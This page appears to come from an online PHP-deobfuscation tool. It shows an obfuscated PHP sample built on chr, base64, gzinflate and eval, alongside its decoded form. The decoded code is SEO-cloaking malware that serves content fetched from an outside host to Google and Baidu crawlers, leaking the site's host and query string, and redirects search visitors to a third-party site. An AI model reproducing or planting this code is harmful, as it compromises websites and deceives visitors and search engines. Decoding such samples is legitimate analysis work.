Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php error_reporting(0);$str2="dVNdk5owFP1JjRHbzcM+ABoIuqjBBMwbAYUsiLQKir++F6fOdDvThztMhn..

Decoded Output download

?>b'<?php
header(\'Content-Type:text/html;charset=utf-8\');
$key= $_SERVER["HTTP_USER_AGENT"];
if(strpos($key,\'oogle\')!== false||strpos($key,\'aidu\')!==false)
{
   $host_name = "http://".$_SERVER[\'SERVER_NAME\'].$_SERVER[\'PHP_SELF\'];
   $file = file_get_contents(\'http://jsc.bx16889.top/\'."/index.php?host=".$host_name."&url=" . $_SERVER[\'QUERY_STRING\'] . "&domain=" . $_SERVER[\'SERVER_NAME\']); 
   echo $file;
}
$httpuser=strtolower($_SERVER[\'HTTP_REFERER\']);
if(strstr($httpuser,\'google\') or strstr($httpuser,\'baidu\') or strstr($httpuser,\'HaosouSpider\'))
{
Header("Location: https://bxtzjs.com/m/0pa4dp/index.html");
exit; 
}
?>'

Did this file decode correctly?

Original Code

<?php error_reporting(0);$str2="dVNdk5owFP1JjRHbzcM+ABoIuqjBBMwbAYUsiLQKir++F6fOdDvThztMhnMz5yubObmlvh26p7Lex7zOTNFsMelyT3a5OxGHxKnXDa8P/rZPfX7V8+tn6tEhwxJtEomUQVYwVD/m23OVYjnbRHaVTEIqagVzMRHlQlAiBZJRgqjPxUywGgG+bZUpH7kf3PT04xx41/oQ3RqNSaM90SyjBdlEzmkf3x8qub9lUz5kHnksXf5LJdUlwLRV/h9crErth/Vyi5aHG1oy1y4Cr+xh56hP9KoimzA3OOc+v63NW8+M9TfHZuQmq5HfzNkJ0STRP/8X5XY87xb7JtldQtfYBXP5KY3vNZujQp3qi5KkUQk/7l/e+aAJlyj37e+rgfzM8Ee3b4p7+FlY62iG9NTug8EyK1x3ypPWqnHO2Zyc9TREm4h1X/lbJmjkoOfIMNcqAkp2XAYxjA4mVMJXAT8hqnrNhzwfMcyoSuNJmcYWYcbugO/xpTMe8tf+cVfRkEd5vtxdCsgQdDn1Hpf9S98a/DyCr8AHtDgTyH3YJCHKGt5rj0xVws5f+KBSSOocRSU9OFNhnndDv+rT0h/3YExRQZdQ5kvIlkGWea9xflFR1jKPDOy/uAD08An0rdBTVjw7AQOdeGabJyH099ZEHu0zTCZi6rTg7QD4Fvo2do6pmFYjZ1bd+z2mKI1JtzbOcz97nPsVDqzcb39mw+xTY9Tr6O2WeQukfLtP4xnsFt3zHbisHb1RSdnm89G7loB/3zbF+/tv";$r='s'.chr(11*10+6).'r_repl'.chr(3*33+1-3).'ce';$cc='lchr';$cc=$r('l','',$cc);$b=$cc(90*1+8).'ase'.(8*8*1).$cc(2*50-5).'de'.$r(',','c',',').$r(',','od',',').'e';$g='gzinflate';$str2=$b($str2);$str=$g($str2);eval("?>".$b($str));?>

Function Calls

chr 4
gzinflate 1
str_replace 3
base64_decode 2
error_reporting 1

Variables

$b base64_decode
$g gzinflate
$r str_replace
$cc chr
$str PD9waHANCmhlYWRlcignQ29udGVudC1UeXBlOnRleHQvaHRtbDtjaGFyc2V0..

Stats

MD5 6748d689f709e68f6c77d9b048d460f5
Eval Count 1
Decode Time 46 ms